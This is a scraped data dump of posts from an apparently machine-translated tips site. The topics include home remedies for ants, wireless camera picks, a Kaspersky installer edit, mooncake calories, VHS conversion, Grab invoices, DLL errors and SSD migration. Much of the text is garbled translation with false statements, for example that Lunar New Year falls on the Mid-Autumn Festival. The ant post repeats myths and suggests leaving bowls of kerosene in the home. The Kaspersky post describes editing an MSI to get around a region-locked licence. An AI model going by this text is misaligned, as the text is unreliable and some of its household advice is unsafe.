how to fix them 12 food quality testing tips to avoid poisoning Stain dirt on white coat effectively only onion 1. Lemon chases ants very well Get rid of ants in the garden, on the yard and the lemon floor. Ants are very afraid of lemon, so they will leave quickly if you put lemon juice on them. Or each time you wipe the floor you just need to mix the juice of 4 lemons (puree the whole shell) with 2 liters of water to clean, surely your house will run out of ants and other insects.\n Indoor ants are simple and effective with just a few lemons.\n2. Use vinegar to destroy ants Vinegar is a useful safety solution that many people love to use to drive away ants. The use of vinegar is to damage the olfactory bulb and destroy the pheromone of ants. Experiment by spraying a diluted vinegar mixture into a \"marching\" ants, when separated from the scent, these ants are immediately broken and begin to wander without direction. , make sure about half an hour later, ants will go away. Of course, the mixture will evaporate over time and need to be re-sprayed daily to remain effective.\n3. Repel ants by pepper Ants are afraid of pepper, just sprinkle some pepper on the kitchen shelf or places where ants live, you will quickly see them dissolve. Now disband their teams.\n Text will help you chase ants in a flash.\n4. Use salt to destroy ants effectively To prevent ants from entering the house, especially the three ants, sprinkle salt on their way, when you see the ant salt will falter and move away.\n5. Kill ants with corn flour Corn flour is a food that ants are quite \"interesting\" in, but in reality ants are not digestible, meaning it will die after eating corn flour. Thus, this material not only works to make ants 'run away' but even destroy ants effectively.\n Using corn flour to prevent ants is one of the safest ways for families with children.\n6. Use orange peel If you don't like the smell of vinegar, the orange scent is a great alternative. You put orange peels with some water into the blender into a paste, then use this mixture to spread to the ant nest or the ants, they will not dare to show their face out of the nest when they see the scent of orange peel.\n7. Chalk also kills ants Ants will not cross the chalk line, this may seem unbelievable, but it actually proves to be true. Substances in chalk powder will disrupt insect pheromones - scent marks that ants use to communicate with other members in its 'territory'.\n Chalk will break the traces of ant scent and make them disperse.\nYou only need to draw a chalk line or pour a line of chalk powder around the area where the ants often penetrate or the food sources that the good ants like cabinets, stoves, trash cans, . carbonate - xi in chalk will clear away the notes. The most difficult ant.\n8. Use paprika If you are tired of these obnoxious ants, you just need to use paprika spread on the ant's path. The spicy smell of paprika will make ants evacuate immediately.\n9. Use flour to scare off ants It may not sound right at first, but wheat flour is also a good way to say \"goodbye\" ants. You just need to sprinkle flour into the ants' living area or you can spread them to food places. Although flour does not cause ants to die immediately but is definitely effective, it is also cheap and environmentally friendly so it can be a safe and long-term option in your home.\n When there is an odor of flour, ants will not be sharp.\n10. Use kerosene Kerosene is like a \"pure\" thing with ants, so put some kerosene on the feet of tables and chairs, beds or put kerosene bowls in the corner of the wall. Species see kerosene will \"understand\" and withdraw from your home.\n11. Use foods, flour If you are being overrun by ants, you can use foods that ants don't like in places where ants can invade your home. Such as turmeric, cucumber slices, crushed cloves, humus, .\n Cucumbers are easy to find ingredients, available in your kitchen cabinets.\n12. Some other ways to prevent ants effectively To keep ants out of the house, keep your area clean, especially limit the drop of leftovers containing lots of sweet foods - the favorite food of ants. With leftovers you can store them in the refrigerator to avoid ants. Garbage is a place where ants like to live because there are lots of food that can be exploited. The cracks in the house are favorable conditions for ants to nest, so fill them up so that ants have no chance to approach your home. Pouring boiling water into the ants or using baking soda to lure is a pretty good way. When ants eat baking soda, the stomach swells and will die. In addition, you can also set traps to trap ants without using toxic chemicals, affecting human health. With just a few tips to chase the simple ants here, you will immediately see the effect immediately, no longer any obnoxious ants dared to stumble into the house, kitchen cabinet or your family's dishes anymore.\nI wish you all success with these 11 chasing tips!\nMaybe you are interested:\n10 tips \"can't be lost\" because it's too useful you may not know 14 useful tips to quickly handle common problems 5 simple tips of Japanese people to help you escape from dreadful situations in life ncG1vNJzZmismaXArq3KnmWcp51kfnN506KnrGWWpL9ur8eaqqKml2Kur8DSZpiwmalis7O7zGafqKWVYsCquc%2BlsGaZnpl6tK3FnqOyZZakv260xJqjraA%3D\n","link":"/post/12-tips-for-chasing-ants-away-from-home-simply-and-safely-for-health/","section":"post","tags":null,"title":"12 tips for chasing ants away from home simply and safely for health"},{"body":"Thanks to technology enhancements, there is an exciting new security camera, eliminating the cumbersome wires that used to be. These completely wireless options take the power from the battery and give the fans of the smart home more options for the location of the camera.\nThe article will take a closer look at how wireless security cameras work, discuss some of the main advantages and disadvantages and provide some options for readers to consider.\nWhere is the best wireless security camera today? Is wireless security camera suitable for you? 5 optional wireless security cameras 1. Arlo Pro 2 2. Reolink Argus Pro 3. Blink Indoor Home Security 4. Ring Spotlight Camera Battery 5. Canary Flex  Is wireless security camera suitable for you? The biggest advantage of wireless security cameras is the ease of installation and the ability to place the device anywhere within the wireless signal range. If you rent a house or live in an apartment, cutting the wall and going to the power cable for the camera is not an optimal choice. Besides, some people simply don't know wiring. But with wireless options, after a quick installation, you can set up cameras in almost anywhere. This flexibility may be invaluable in some situations.\n  On the other hand, the biggest problem with wireless cameras is power. Normally, the camera is powered by a rechargeable or replacement battery. Therefore, to help maintain battery life as long as possible, some important things may be exchanged.\nNormally, a completely wireless camera does not continuously record video. Recording will only start when the camera senses movement and records it for a short time. That can sometimes cause the camera to miss a complete event.\nAll non-wired options allow direct viewing on the camera even without any movement. But doing this can quickly deplete the camera battery. So don't expect to see camera images directly 24/7. Another disadvantage is the price. You can usually choose a wired option for less than $ 100 (2,300,000VND). But wireless options rarely have this price because you have to pay for the flexibility they bring.\nHowever, any video recorded with the wireless camera is usually stored in the cloud. Therefore, not having a jagged wire can make the camera a \"lucrative prey\" for thieves, all the evidence will be safe and in good condition. Just be sure to follow some easy steps to make security cameras not attack by hackers.\nBefore deciding to buy a wireless camera, you should consult some of the following articles:\nThings to know before choosing to buy a WiFi camera system Advantages and disadvantages of battery-powered WiFi Camera Security level of WiFi security camera system 5 optional wireless security cameras If you are interested in wireless security cameras, here are 5 great options that offer many different features, including motion detection, video playback and more.\n1. Arlo Pro 2 Reference price: $ 479 (VND 11,176,000)\n  Arlo Pro 2 is completely resistant to all weather conditions and high temperature fluctuations. Rechargeable battery provides power for each camera in the system. A two-way, 1080p video feed also allows users to listen to what's happening (and even reply back) via a companion smartphone app.\nThe base station plugged into the router provides intelligent alarm features, which can be controlled from the application or when detecting motion or sound. You can pay for optional 7-day cloud storage, available to all users. But an easier option is to plug in the USB drive that holds the local record.\nAlthough the cameras are completely wireless, they are also compatible with the power cord. While indoors, users can take advantage of specific features, including a loopback feature of 3 seconds before a motion event and the ability to place specific areas within the camera's view to receive motion alerts. and sound.\n2. Reolink Argus Pro Reference price: $ 79.99 (VND 1,866,000)\n  No need to worry about charging Reolink Argus Pro when using it for outdoor surveillance. Along with 1080p camera, Reolink includes a solar panel to keep the battery charged continuously.\nThis camera is built for use in extreme weather conditions such as rain and low temperatures. Instead of being designed for full-time monitoring, smart motion sensors can detect events and give alerts on users' smartphones.\nAnother great point is that there is no need to pay for cloud storage, because you can use microSD memory cards to store logs. You can also visit to view the feed directly from the camera's 130-degree view. Reolink Argus Pro even has night vision features, with a view of 33 feet (10m).\n3. Blink Indoor Home Security Reference price: $ 63.99 (VND 1,490,000)\n  Blink Indoor Home Security is a great way to get started with really wireless home security options. Each camera in the Blink Home Security system is powered by two lithium AA batteries, which can last up to two years with average usage. When you install a WiFi bridge somewhere in the house, the camera can move anywhere in the wireless range.\nWhenever the camera senses movement, you will receive notifications on the smartphone. You can also customize the length of a short video clip that the camera records anywhere from 10 to 60 seconds. Previous motion videos are available in the cloud at no additional cost.\nAt any time, you can also observe directly what happens using the companion smartphone app. When at home, you can also quickly see the video feed by voice command to Amazon Echo Show.\nYou can easily buy more rear cameras to expand the system. If you are looking for outdoor surveillance equipment for your home, this product line also includes a model that is weather resistant and has really great night-vision capabilities.\n4. Ring Spotlight Camera Battery Reference price: $ 199.00 (VND 4,643,000)\n  This great option, designed for outdoor use, offers more than a conventional wireless security camera. The integrated Spotlight of the Ring Spotlight Camera can help observe what happens during a moving event, by taking power from a removable and rechargeable battery.\nIf necessary, you can even turn on the 110 decibel siren in an emergency. Two-way audio allows users to listen and speak to anyone in the camera's field of view. With the companion smartphone app, you can do this from anywhere in the world.\nThe integrated night vision capability will tell you what happens around the camera with a 140 degree view of the Ring Spotlight Camera Battery. Along with the ability to adjust motion sensitivity, you can customize specific schedules to detect motion.\nAn optional Protect Basic plan is also available. Subscribers can save all videos for up to 60 days and share them with others.\n5. Canary Flex Reference price: $ 138.90 (VND 3,240,000)\n  Canary Flex is another option for indoor and outdoor use. Designed to record moving events, the camera uses AI to help determine if a person, or something else, causes the event. This will help minimize false alarms caused by animals or other factors.\nThe camera comes with basic cloud storage option, in addition to the option to provide a 30-day video history, two-way communication from smartphone apps and more. Canary Flex is also compatible with Amazon Echo Show.\nBuyers can choose from either the black or white version of Canary Flex. Canary includes 360-degree magnetic rotating stand, which helps to find the perfect viewing angle.\nAlthough not a perfect choice for all situations, a completely wireless camera can provide a certain level of security for your home. Even if there are still some disadvantages, this technology certainly has its advantages.\nThese devices provide visibility inside or outside the house, without having to worry about any kind of wiring.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZq%2BZp7KtsdKsZKydk6q%2FqsDYZpqapZWnrrR5xaipZqyYmnqpu9SsnA%3D%3D\n","link":"/post/5-best-wireless-security-cameras-for-the-house/","section":"post","tags":null,"title":"5 best wireless security cameras for the house"},{"body":"Despite being one of the most popular games in the world during the past 1 year, Genshin Impact still makes many gamers shy because it is too heavy. If you play Genshin Impact on your phone, this game will take up more than 10GB of memory and this number on PC will be 20GB.\n  To overcome this problem, miHoYo recently introduced a completely new cloud platform that can help players solve the problem of lack of space to play Genshin Impact on any device.\u0026nbsp;\n  This cloud platform can now be downloaded from the Chinese Apple App Store by searching for the application name \"Van - Nguyen Than\" with a capacity of only 88.1 MB. And to experience, you will just need to do one more simple step that is to log in to your miHoYo Pass account.\n  Previously, miHoYo revealed the process of testing this platform in China in October 2021 on both iOS - Android platforms and finally, the complete version has now appeared in the Chinese market. . However, this is a paid platform and users will have to use an in-game currency called miHoYo Coins to buy hours of usage.\n  miHoYo also publishes the app's payment rules. Accordingly, the first time you log in, you will have 5 hours of free play. If you exceed these 5 hours then you will need to buy more time for about 2 RMB per hour. In addition, gamers can also spend 60 yuan to buy free playing cards within 30 days.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51krm6%2F1Kmcq2WcnrSpwIyvnKurmaS7brvFZp6epqOdtq95yKanmpukYq6xvMSaqZ6cXay2tbSMmmScmaCWsKrA2Gamn2WaqsC1ec6vnKtlaGW6ow%3D%3D\n","link":"/post/a-super-light-version-of-genshin-impact-appeared-with-a-capacity-of-just-over-80mb/","section":"post","tags":null,"title":"A super light version of Genshin Impact appeared with a capacity of just over 80MB"},{"body":"TipsMake.com - 2 years ago, Kaspersky China officially provided 50,000 free Kaspersky Antivirus accounts for 6 months for users, and the only restriction here was that the activation code was only applied to KAV Chinese version. However, we can still use this program in a few simple steps when interacting with the Registry and shortcut keys Shift + F12 . Until the most recent programs, Kaspersky still did not remove this protection mechanism, but also increased the complexity if users want to interfere inside the software.\nSpecifically, Kaspersky Security Suite CBE 11 application, the default interface is presented in German, but when you change the SkinSwitchDisabled key in the Registry and use Shift + F12 to change to English, chances are you'll meet must have a License: error! as shown below:\n  When you continue to click the link, the License management window will be displayed along with the message: The application should be reinstalled\n  If you try to re-activate the program with that Key, the program will display: This license is already in use . After many tests, we discovered that any changes that affect the display language file or the Registry key will immediately appear. A new approach is applied, which is to directly explore the Kaspersky_CBE11.msi installation file. Currently, Microsoft offers a free tool called ORCA to edit the * .msi file, but is still popular today as InstEd.\nAfter much time studying and thoroughly studying the database of Kaspersky_CBE11.msi, we have successfully converted the language on the interface without having the same error as above. First, download and install InstEd here. Then right-click Kaspersky_CBE11.msi and choose InstEd It!\nIn the Tables tab, select the Registry entry. You need to change the entire de-DE-xcbild value (of Localization, LocalizationList and Ins_Localization lines to en at Value column.\n  After completing this change, click File and select Save . Now, please proceed to install Kaspersky Security Suite CBE 11 from the Kaspersky_CBE11.msi file that you just edited.\n  The entire language displayed on the program's interface has successfully transferred to English\nOnly Sidebar Kaspersky Gadget toolbar does not display exactly as expected, but that is not our key point. The important thing is a License: error! The above is no longer available. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZqORqL2mvtKksGarlZjCs7XTsmSsrZmpsm6vwZ5kamldnru1sdGfmJydXZu%2FsLmMoJyrpZGjerW7jJ6loKSZqLU%3D\n","link":"/post/change-kaspersky-security-suite-cbe-11-interface-from-german-to-english/","section":"post","tags":null,"title":"Change Kaspersky Security Suite CBE 11 interface from German to English"},{"body":" \"The price\" pay behind every familiar snack How long does it take to consume the calories in the foods you eat? According to the customs of the old Vietnamese people, the annual Lunar New Year (Lunar New Year) will be held annually on the Mid-Autumn Festival. On this day, all family members will gather together in front of the tray, adults will drink wine, enjoy moon, and sing the drum; The children pick up the lights, go to the lion dance, sing the Mid-Autumn songs, then go together to 'break the deck'. In the mid-autumn tray of fruits, pomelos, candies and indispensable is a pair of scones and cakes with the meaning of wishing all things in life are full and full, because of this pie It is a dish, a gift of spiritual value that is indispensable in the Mid-Autumn Festival.\nIn the era of growing food processing industry, the produced cakes also have great steps to \"evolve\", giving users more diverse products, more delicious and also fat. far more, in line with the needs of modern customers today.\nUndeniably, moon cakes give us a sense of appetite when eating and want to eat a lot, but eating a lot of cakes means that you are loading too much calories into your body, making it easy for you overweight, obesity. If you want to know how much calories a mooncake contains, please take a look at our photo below.\nRegulations: Each moon cake is 500gr.\n  With 500 kcal you have to do weight training for 2 hours, so how do you calculate 716 kcal how much weight will you do? Do you have enough energy to practice, burn all the calories you just loaded?\n  With a flexible cake you have to run for 2 hours to burn calories. If you don't want to be overweight, think before you eat!\n  Can you eat 2 meat pie? But with a baked cake it seems easy, but the \"price\" to return is not so easy.\n  One day, the body only needs 2,000 kcal, so a cake gives you nearly half of the kcalo in the day. If you want to eat, please decide in advance whether to do yoga in the afternoon!\n  A red bean scones will give you 825 kcal, but do you know how to consume them? Run or do something about 1 hour 20 minutes. If you are on a diet, consider these things.\n  And to add visual part, you want to consume a cup of milk tea, you need .\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51ksbB52KisZqOepMRutM6wZJ%2BZpGLBqbGMpqaopl2YrqyxjKKq\n","link":"/post/do-you-know-how-fat-the-moon-cake-is/","section":"post","tags":null,"title":"Do you know how fat the moon cake is?"},{"body":" Converting VHS tapes to DVDs is a great way to preserve, share and enhance those old home videos that may not be aging very gracefully. This article outlines two methods to do so—both produce the same quality video. The first method i...\nMethod 1of 2:\nUsing a Standalone DVD Recorder  Purchase a DVD Recorder. A VHS-to-DVD recorder basically gives you a DVD copy of your tape in real time. DVD recorders cost between $100-$200 at major electronic stores or online. You can also usually find one between $50-$75 in good condition on Ebay. With a DVD recorder, you don't have a lot of flexibility as far as menus, buttons and chapter settings, but it's the fastest and easiest way to convert VHS to DVD. If you have a VCR or camcorder with Firewire connections, you can get a DVD Recorder with Firewire connections and transfer tapes at a higher quality. Firewire ports look similar to USB ports, except they are flatter and tapered at the end.   Find the right cable. Your VCR/camcorder or DVD Recorder may have come with the correct cable to connect to the other, but if not, you'll need to find or purchase one. Both your DVD Recorder and your VCR should be able to connect to an RCA or S-Video cable. RCA cables are red, white and yellow and connect to their corresponding colored ports on both the DVD Recorder and VCR. S-Video cables have four small, round pin connectors. Check the back of both your devices to see what kind of cable you need. If you don't have the correct cable, you can find it at an electronic store or online for $5-$10. If you're using a camcorder, the cable that came with it should connect to your DVD Recorder. If you no longer have it, you can find the right cable at an electronic store or online for $5-$10. If your DVD Recorder and VCR/camcorder have Firewire ports, make sure your Firewire cable matches them exactly. The number of pins and the shape of a Firewire cable can vary slightly—they aren't all the same. If you don't have the correct cable, you can find it at an electronic store or online for $5-$10.   Connect your VCR/camcorder to your DVD recorder.\n  Insert your tape in your VCR/camcorder and a DVD-R in the DVD recorder.\n  Press 'Record' on your DVD recorder. You'll want to start the DVD recorder first so you don't cut off the beginning of the video.\n  Press 'Play' on your VCR/camcorder. As quickly as possible after pressing 'Record' on your DVD recorder, press 'Play' on your VCR/camcorder.\n  Cut parts of the video you don't want. Press 'Pause' on the DVD recorder and fast-forward the VCR/camcorder through parts you want to edit out. When you've reached the end of the portion you want to cut, restart the DVD recorder again and start playing your tape.\n  Stop recording. When you reach the end of your video or the end of the portion you want to record, press 'Stop' on your DVD recorder. If you reach the end of your tape and your video stops automatically, your DVD recorder will stop recording automatically.  Method 2of 2:\nConverting to an Editable Movie on Your Computer  Prepare your resources. You'll need a working VCR, an analog-to-digital video converter, a computer with a DVD burner, blank DVD-Rs, movie editing software, and DVD burning software. This method will take several hours of work for one hour of video—but you likely have most of the equipment already, besides the converter. This method also gives you the flexibility to edit the video as much as you want, adding transitions, special effects, music, etc. Analog-to-digital video converters cost anywhere from $15 to $75 and can be found at electronic stores or online. The more expensive converters come bundled with advanced editing software.   Connect your VCR to your computer with an analog-to-digital video converter. An analog-to-dv converter has a USB connection on one side, and red, white and yellow RCA cables on the other. Connect the RCA cables to the corresponding colors on the back of your VCR and connect the USB cable to your computer.\n  Open your editing software. This software comes standard with Mac and most versions of Windows, and is also available for download. There are also more advanced versions that you can purchase, if you're looking for more advanced movie-making features. On a Mac, this is iMovie. On a PC, the is Movie Maker. Movie Maker comes standard in Windows Vista, XP, and 7. Windows 8 and 10 users can download it.[1]   Import the video. This can take a lot of time and hard drive space. Two hours of footage will create a 1Gb - 2Gb MPEG file. In iMovie, select File \u0026gt; New Movie and select a theme. Then select the 'import video' button at the top (this looks like a downward pointing arrow). Follow the prompts to import your video.[2] In Movie Maker, select File \u0026gt; Import from Digital Video Camera, and follow the prompts to import your video.   Edit the content. Here is where the benefits of this method pay off. You can edit your video and add menus and chapters before burning your DVD.\n  Burn your DVD. On a Mac, select File \u0026gt; Share \u0026gt; File and save your movie file. You'll need to download and install burn software if you don't already have it, such as Burn for OS X.[3]. Use this application to export your movie to DVD. On a PC, you can do this in Movie Maker. Click the menu icon in the top left corner, select Save Movie \u0026gt; Burn DVD. Follow the prompts to burn your DVD.   Make sure your computer won't sleep automatically while burning. This could interrupt the DVD burning process and mess up your movie. On a Mac, you can do this under System Preferences \u0026gt; Energy Saver. On 'Turn Display Off' move the setting to 'Never' and select 'Prevent Computer from Sleeping Automatically'. Make sure to restore these settings back to the default after you're finished—your computer does need sleep! On a PC, go to Start \u0026gt; Control Panel \u0026gt; System and Security \u0026gt; Power Options \u0026gt; Select a power plan \u0026gt; Change plan settings \u0026gt; Change advanced power settings \u0026gt; Advanced settings. Change both 'Sleep after' and 'Hibernate after' to 'Never'. Make sure and restore these settings to the default after you're finished!   David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGaumKh6tbuMna2d\n","link":"/post/how-to-convert-a-vhs-to-dvd/","section":"post","tags":null,"title":"How to Convert a VHS to DVD"},{"body":"Grab along with Uber are now two popular technology calling services and an increasing number of users. And to provide users with accurate, detailed and specific information about trips, Grab and Uber provide trip history information on both the app and its own website.\nYou can look up information right on Grab's main website. Or, if necessary, download the trip invoice with a PDF file. So you have a Grab trip invoice to use when you need it. The following article will guide you how to find a Grab trip.\nHow to register as a motorbike driver GrabBike Instructions on how to use Grab to call GrabBike How to find codes to reduce Uber and Grab prices very fast and simple How to receive VAT invoice for Grab trip Grab also allows users to receive VAT invoices for their car trips, in order to receive VAT invoices for their Grab car, you need to do the following.\nStep 1: Set up your business information on the Grab app by clicking on the individual icon in the upper left corner of the screen, then click on your information above. Then click Create Business Profile.\n   Step 2: Next, enter your work email email address and click the next icon at the bottom right corner, you should use your company's mail to register. Then the confirmation code will be sent to your inbox by Grab, enter that confirmation code and click Next.\n   Step 3: If you see the Happy message that appears with your information, so that you have successfully created your business profile, click Set a bus to make a reservation. Record your destination, destination and click Options .\n   Step 3: Click Next on Personal , then select Business to select your business profile and click Confirm.\n   Now go out of the parking interface, you will see Business text displayed on the Set car key . Now you just need to put the car according to your needs.\n  Step 4: Visit the link that requires Grab's financial invoice, enter your email and select Request for the first invoice and click Next.\nYou will then be redirected to the billing information page, including Full Name, Phone Number registered on the Grab application. Remember to enter the phone number as code 84 at the beginning.\n   Step 5: Next, fill in the email of Grab's electronic invoice, company name, tax code, company address and invoice method, then click Next and follow Grab's instructions.\n   Then the Grab system will automatically bill the bus you choose to be Business / Work.\nHow to view the Grab trip history Note that you need to install the Grab application on your phone to confirm the access account on the website.\nGrab download for iOS Download Grab for Android Download Grab for Windows Phone Step 1:\nFirst, visit the link below to go to the homepage of Grab service. Then enter the phone number for the Grab service and then click Submit Pin code to my Grab app below.\nhttps://hub.grab.com   Step 2:\nOpen the Grab app on your phone then log in to your account. In the map view, click on the 3 dash icon , then select the Notification item in the options list. Then we wait for Grab system to send the confirmation code to the phone, under the OTP message.\nNote to readers , if you have not yet seen the message, close and reopen the Notification on the application to reload the notification.\n    Step 3:\nEnter the code entered in the interface as below on the website and then click Login .\n  Step 4:\nGo to the home page interface, click on the Trip History section to review the trip information.\n  Look to the right, first choose the time to filter Grab trips. We can filter by Individual or Business trip. Then press the Search button .\n  Step 5:\nWe will then see the entire trip filtered over time.\n  Click on a specific trip to see the details.\n  To download the invoice for the trip, click the Download invoice button . Immediately the invoice will be downloaded to the computer under a PDF file .\n  So when you check the trip information on Grab's homepage, you will have a lot more information about a specific trip done. Users can download Grab trip invoice information in PDF file to use as sent to the company when needed. Grab trips are also filtered over time, making it easy to find.\nSee more:\nHow to call GrabTaxi? Instructions for registering and using Uber Taxi Some experience when using technology car calling services I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7Fus9GamWasop69tHnWoquhZZmjw7C1wp6q\n","link":"/post/how-to-find-grab-trips-with-invoices/","section":"post","tags":null,"title":"How to find Grab trips with invoices"},{"body":"If you get the error 'The program can't start because MSVCP140.dll is missing from your computer' when trying to open a program like WAMP Server, Skype or some games, this article may help you.\nThis happens when the program you are trying to run requires the MSVCP140.dll file to be present on the computer system. MSVCP140.dll is a Microsoft C Runtime Library file, about 626KB in size, located in the System32 folder and installed by Microsoft Visual Studio.\nIf any DLL file is lost or damaged, you may see such error messages on the screen. These suggestions will also apply if the files MSVCP100.dll, MSVCP110.dll, MSVCP120.dll, MSVCP130.dll are missing.\nError MSVCP140.dll is missing Error MSVCP140.dll is missing DLL stands for Dynamic Link Libraries and is the external part of applications that run on Windows or any other operating system. Most applications are not complete and store the code in different files. If there is a need for the code, the relevant file will be loaded into memory and used. If the operating system or software cannot find the related DLL file, or if the DLL file is corrupted, you may receive a message that the DLL file is missing.\nReaders already know what to do if MSVCR110.dll is missing, now consider the case of MSVCP140.dll.\nHow to fix MSVCP140.dll error is missing Downloading the missing dll file from the Internet and pasting it into a specific place is not a practical solution. You can try this method, but it is most likely not getting any positive results.\nReinstalling the program that caused this error may help - so try it. It is possible that the installation package of the program will include this file.\nAnother option to resolve this problem is to reinstall Microsoft Visual C ++ Redistributable for Visual Studio on the computer.\nPlease close all open applications with a program window or Task Manager. After you do this, you can download Microsoft Visual C ++ Redistributable from Microsoft. Install the Runtime component and restart the computer.\nReinstall Microsoft Visual C ++ Redistributable for Visual Studio on the computer If this option works, the error message will not appear.\nIf not, get the file from another computer. Make sure it has the same file name and version, and place it on your computer at the location C: WindowsSystem32.\nTip : If the DLL file is present on the computer, but you still receive this error message, you may need to re-register the DLL file.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXquv9Wcp2psYJm5rXnEq6moql2ewG65yKyqoqaX\n","link":"/post/how-to-fix-msvcp140-dll-error-is-missing/","section":"post","tags":null,"title":"How to fix MSVCP140.dll error is missing"},{"body":" This wikiHow teaches you how to use an ISO file without first burning it to a disc by 'mounting' it onto your computer's CD drive. You can mount an ISO on both Windows and Mac computers. Open Start . Click the Windows logo in the...\nMethod 2of 2:\nOn Mac  Open Finder. Click the blue, face-like app in your Mac's dock.\n  Find the ISO. Click the folder in which your ISO is stored (e.g., Downloads) on the left side of the Finder, then open any additional folders in the main window until you arrive at your ISO file.\n  Double-click the ISO. This will immediately mount the ISO to your Mac.\n  Click the ISO's name. In the left-hand column of the Finder, you should see your ISO's name appear below the \"Devices\" heading; click it here to open the ISO. You can also double-click the ISO icon that appears on your Mac's desktop after mounting.   Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWfqru1ecCnZKKrn2K2rq3Gng%3D%3D\n","link":"/post/how-to-mount-an-iso-image/","section":"post","tags":null,"title":"How to Mount an ISO Image"},{"body":"Usually, in a group meeting or online presentation, there may be times when you need to share your computer screen or browser window with everyone. And with today's software applications, this is quite easy. However, most of them require users to install software first.\n With Google Meet, everything becomes simpler because you can do everything with a single web browser without installing any additional software. As follows.\n Go to Google Meet via \" meet.google.com \" and click Start a meeting or enter the chat room code provided in \"Enter meeting code\".\n Next, you will be redirected to the \"prepare\" page with settings tested by Google such as Camera or microphone. Now, to make sharing your screen with everyone, click \"Present\".\n In the next window, you will be asked to select the type of screen sharing that is open to everyone.\n There will be three options for you to use, including the Chrome tab, the entire desktop and finally the application window.\n After making your selection, click \"Share\" to send your screen image directly to the chat room.\n During the sharing process, Google will display quick notifications and options so you can manipulate the sharing stop.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmqqGZopp6o77OsKqippdiwKS%2BxJ6lrGWnnsGpecaopqCklWK6prHT\n","link":"/post/how-to-quickly-share-browsing-screens-with-google-meet/","section":"post","tags":null,"title":"How to quickly share browsing screens with Google Meet"},{"body":"First, you need to download and install MiniTool Partition Wizard. MiniTool Partition Wizard is the best free disk partitioning software favored by tens of millions of users. It also helps you to repartition the hard drive, format the partition, check the file system, align the SSD partition, measure SSD performance, and even convert Windows from HDD to SSD.\nStep 1: Visit the official website of MiniTool Partition Wizard to download the latest free version.\nLink download\u0026nbsp;MiniTool Partition Wizard\u0026nbsp;here\n  Step 2: Install MiniTool Partition Wizard. You choose Next all and wait for the machine to run for a while.\n  After the machine is running, select Finish to complete the installation.\n  Step 3: After the installation is complete, start the application and select Migrate OS to SSD / HD.\n  Step 4: There will appear 2 options for you:\nOption 1: Move Windows and data from other drives to the new hard drive. Option 2: Move Windows to new hard drive only. Since the data we usually store in the HDD because the drive has a large capacity, while the SSD drive allows Windows to boot faster and smoother, you can choose option 2 if your SSD drive is small.\n  Step 5: Select the name of the SSD drive you want to move Windows to and ensure the most stable power possible.\n  Step 6: Note that all data in the drive will be formatted before transferring Win. Make sure you do not leave any important files in that SSD.\n  Note: Under Copy Options\u0026gt; Choose Fit partitions to entire disk. Click Apply in the bottom corner of the application and wait for the transfer of Win to another drive.\nStep 7: After you have finished transferring Win to a new drive, open the Run dialog box by pressing Windows + R\u0026gt; Enter msconfig.\n  Boot tab\u0026gt; Select the SSD drive containing Win\u0026gt; Click 'Set as default'\u0026gt; Apply.\n  That's it, restart the computer to experience the Windows boot speed and SSD's smoothness. If you find the article useful and useful, please leave a like for yourself. Thank you very much for viewing the article.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqunnsGktIyop56qkam2r7OMrLCsrJWieqe%2BzqZkoZyUYsGwedKsm2avmam1sMHTZqmeoZ6owaK4y6KloGWnnrulu9asZKyhnaW5pnnSmp2eZZGjsW66zmabmqyRYrmwv9I%3D\n","link":"/post/how-to-switch-operating-system-from-hdd-to-ssd-without-reinstalling-windows-simple-safe-and-no-data-loss/","section":"post","tags":null,"title":"How to switch operating system from HDD to SSD without reinstalling Windows, simple, safe and no data loss"},{"body":"Opera recently officially released a stable version of Opera 16 web browser using Chromium 29 engine with many new enhancements related to API utilities and added support for location recognition service.\n  \nBringing a lot of new changes, this version will support the HTML5 protocol on the desktop to be smoother, along with adding the W3C Geolocation API utility, which allows you to standardize an interface to Get the device's geographic location information, such as being able to use it on sites like Foursquare to make it easier for services to identify locations.\nBesides, the stable version of Opera 16 for Windows and Mac OS will still carry the same features as before, such as auto-fill forms, full-screen mode on Mac computers and \" jump lists\" for help. Better direction on Windows. In addition, other features like Speed ​​Dial, Stash, Discover, and Off-Road will also be upgraded to make the browser work best.\nAlso related to the two early versions using Chromium, Opera 16 will be added to chrome.cookies and chrome.history utilities, both API utilities that have appeared on Opera 15 but not just that.\nThis new version also provides developers with more utility models to help them build the equivalent of processing tools, and this version of Opera 16 also shows a way of eliminating the 6-bit limit. utility appears on the browser main interface.\nIt is known that since converting the operating engine from Presto to Chromium platform starting from Opera 15, there have been more than 300 extensions available to this version so far and also include a lot of services. Currently popular are Evernote, Pocket, Yandex, Pinterest, LastPass and Feedly.\nContinuing on its development path, earlier this month Opera also released the first development version of Opera 17 with the Chromium 30 platform, promising to bring back the tab pinning feature. on Opera 12 and many other improvements.\nncG1vNJzZmismaXArq3KnmWcp51kvLGx0Zpkq52cmq60scNmpqmdopZ6coKMm5isnZRivK95wqGpqKWZqrpufpg%3D\n","link":"/post/opera-released-opera-16-based-on-chromium-29/","section":"post","tags":null,"title":"Opera released Opera 16 based on Chromium 29"},{"body":"You often get tagged in many pictures and spam your friends' ads, or your own posted mood statuses that you don't want that information to show up on your profile, so you've hidden it from your timeline. space. But when you want to review or restore hidden posts on facebook, you don't know where the posts are hidden.\nThe following article shows you how to view and restore posts that have been hidden on Facebook.\nStep 1: You log into your facebook account and access your profile .\n  Step 2: On the facebook cover image, click View activity log (or View Activity Log ).\n  Step 3: The allactivity page appears, select the Posts you have hidden (or Post You've Hidden ) in the left menu.\n  All hidden posts are displayed, you want to restore any post then you select the icon Hide from the timeline -\u0026gt; Allow on the timeline (or Allowed on Timeline ).\n  Thus, you can easily review the hidden posts and restore display the necessary posts on your timeline. Good 